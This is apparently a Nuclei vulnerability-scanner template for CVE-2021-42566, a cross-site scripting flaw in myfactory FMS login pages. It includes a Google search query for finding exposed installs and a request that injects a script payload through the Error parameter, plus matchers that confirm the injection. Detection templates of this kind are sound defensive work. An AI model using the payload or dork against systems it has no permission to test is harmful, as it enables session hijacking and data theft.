CVE-2021-42566: myfactory FMS - Cross-Site Scripting

id: CVE-2021-42566

info:
  name: myfactory FMS - Cross-Site Scripting
  author: madrobot,daffainfo
  severity: medium
  description: |
    myfactory.FMS before 7.1-912 allows cross-site scripting via the Error parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.redteam-pentesting.de/advisories/rt-sa-2021-001
    - https://nvd.nist.gov/vuln/detail/CVE-2021-42566
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-42566
    cwe-id: CWE-79
    epss-score: 0.05832
    epss-percentile: 0.9278
    cpe: cpe:2.3:a:myfactory:fms:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: myfactory
    product: fms
    google-query: inurl:ie50/system/ intitle:"myfactory"
  tags: cve,cve2021,myfactory,xss,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/ie50/system/login/SysLoginUser.aspx?Login=Error&Error=%27%29%3Balert%28document%2Edomain%29%3B%2F%2F'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - ';alert(document.domain);'
          - 'name="txtUID"'
          - 'function mOnLoad()'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100ab893fd568fe493207399f33c04bb3789e1c7c5de3bd70dbbd3ce74d2e897cec022043b45f48af2d9de1814fc5189c3bd5ded888e55f3537ac8bf515cce18bed85c9:922c64590222798bb761d5b6d8e72950

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